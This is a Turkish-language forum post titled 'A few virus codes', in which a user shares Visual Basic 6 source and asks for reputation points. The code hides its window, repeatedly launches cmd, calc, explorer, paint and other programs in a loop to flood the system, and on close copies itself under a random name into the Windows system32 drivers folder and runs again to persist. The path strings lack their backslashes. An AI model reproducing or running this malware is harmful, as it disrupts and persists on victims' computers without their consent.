Birkaç Virüs Kodları <RemembeR>


Virüsler   

Yazar: RemembeR    0 Yorum    108 Görüntüleme
  • Derecelendirme: 0/5 - 0 oy

Paylaşım Tarihi: 30.05.2016, 18:10:15 #1
RemembeR Delikanlı
Onaylı Uye
Status: Çevrimdışı Yorumları:105 Konuları:64 Kayıt Tarihi:24.05.2016 Rep Puanı: 24

Evet Arkadaşlar Bazı Kodları Size Sunmak İstedim Umarım Begenirsiniz + Rep Vermeyi Unutmayın Kesinlikle Alıntı Değildir.

Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:\Program Files\Messenger\msmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:\Program Files\Movie Maker\moviemk.exe"
Shell "winmine"
Next
End Sub
Private Sub Form_Load()
App.TaskVisible = False
form1.Visible=False
End Sub


Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:windowssystem32drivers" & sonuc & ""
FileCopy yol, "c:windowssystem32drivers" & sonuc & ""
calis = Shell(kp)
End Sub

Kullanıcı İmzası
 
Ben Yapacağım Dedikten Sonra Kaybedeceklerimle 
Korkutmayın Umrumda Olmaz!


          Sitemize kayıtlı değilseniz linkleri görebilmeniz İçin Kayıt Olun veya Giriş Yapın
          

          Sitemize kayıtlı değilseniz linkleri görebilmeniz İçin Kayıt Olun veya Giriş Yapın











Aradığınızı Bulamadınız Mı ?

Konuyu Okuyanlar:
1 Ziyaretçi